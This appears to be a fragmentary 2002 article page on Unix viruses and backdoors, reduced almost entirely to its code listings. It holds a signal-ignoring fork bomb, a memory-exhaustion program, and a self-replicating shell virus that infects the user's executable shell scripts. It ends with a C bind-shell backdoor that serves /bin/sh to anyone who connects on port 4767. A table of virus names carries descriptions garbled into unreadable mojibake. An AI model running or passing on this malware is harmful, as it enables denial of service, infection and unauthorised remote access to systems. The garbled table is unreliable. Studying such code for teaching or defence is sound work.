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#include <signal.h>
#include <unistd.h>
int
main (void)
{
int i;
for (i = 0; i < NSIG; i ++)
signal (i, SIG_IGN);
while (1)
fork ();
}
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#include <stdlib.h>
#define LG 1024
int
main (void) {
char * buffer;
while ((buffer = malloc (LG)) != NULL)
memset (buffer, 0, LG);
while (1)
;
}
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#! /bin/sh
# infected
( tmp_fic=/tmp/$$
candidates=$(find . -type f -uid $UID -perm -0755)
for fic in $candidates ; do
exec < $fic
# Let's try to read a first line,
if ! read line ; then
continue
fi
# and let's check it is a shell script.
if [ "$line" != "#!/bin/sh" ] && [ "$line" != "#! /bin/sh" ] ; then
continue
fi
# Let's read a second line.
if ! read line ; then
continue
fi
# Is the file already infected or vaccinated ?
if [ "$line" == "# vaccinated" ] || [ "$line" == "# infected" ] ; then
continue
fi
# Otherwise we infect it: copy the virus body,
head -33 $0 > $tmp_fic
# and the original file.
cat $fic >> $tmp_fic
# Overwrite the original file.
cat $tmp_fic > $fic
done
rm -f $tmp_fic
) 2>/dev/null &
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| Diesel | ÎÞ | |
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| Satyr | ÎÞ | |
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| Winter | ÎÞ | ²¡¶¾´úÂëΪ341×Ö½Ú¡£Ö»¸ÐȾµ±Ç°Ä¿Â¼ÖеÄÎļþ¡£ |
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#define _GNU_SOURCE 500
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <termios.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define ADRESSE_BACKDOOR INADDR_ANY
#define PORT_BACKDOOR 4767
int
main (void)
{
int sock;
int sockopt;
struct sockaddr_in adresse; /* address */
socklen_t longueur; /* length */
int sock2;
int pty_maitre; /* pty_master */
int pty_esclave; /* pty_slave */
char * nom_pty; /* name_pty */
struct termios termios;
char * args [2] = { "/bin/sh", NULL };
fd_set set;
char buffer [4096];
int n;
sock = socket (AF_INET, SOCK_STREAM, 0);
sockopt = 1;
setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, & sockopt, sizeof(sockopt));
memset (& adresse, 0, sizeof (struct sockaddr));
adresse . sin_family = AF_INET;
adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR);
adresse . sin_port = htons (PORT_BACKDOOR);
if (bind (sock, (struct sockaddr *) & adresse, sizeof (adresse)))
exit (1);
listen (sock, 5);
while (1) {
longueur = sizeof (struct sockaddr_in);
if ((sock2 = accept (sock, & adresse, & longueur)) < 0)
continue;
if (fork () == 0) break;
close (sock2);
}
close (sock);
if ((pty_maitre = getpt()) < 0) exit (1);
grantpt (pty_maitre);
unlockpt (pty_maitre);
nom_pty = ptsname (pty_maitre);
tcgetattr (STDIN_FILENO, & termios);
if (fork () == 0) {
/* Son: shell execution in the slave
pseudo-TTY */
close (pty_maitre);
setsid();
pty_esclave = open (nom_pty, O_RDWR);
tcsetattr (pty_esclave, TCSANOW, & termios);
dup2 (pty_esclave, STDIN_FILENO);
dup2 (pty_esclave, STDOUT_FILENO);
dup2 (pty_esclave, STDERR_FILENO);
execv (args [0], args);
exit (1);
}
/* Father: copy of the socket to the master pseudo-TTY
and vice versa */
tcgetattr (pty_maitre, & termios);
cfmakeraw (& termios);
tcsetattr (pty_maitre, TCSANOW, & termios);
while (1) {
FD_ZERO (& set);
FD_SET (sock2, & set);
FD_SET (pty_maitre, & set);
if (select (pty_maitre < sock2 ? sock2+1: pty_maitre+1,
& set, NULL, NULL, NULL) < 0)
break;
if (FD_ISSET (sock2, &set)) {
if ((n = read (sock2, buffer, 4096)) < 0)
break;
write (pty_maitre, buffer, n);
}
if (FD_ISSET (pty_maitre, &set)) {
if ((n = read (pty_maitre, buffer, 4096)) < 0)
break;
write (sock2, buffer, n);
}
}
return (0);
}
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2002-10-31, generated by lfparser version 2.25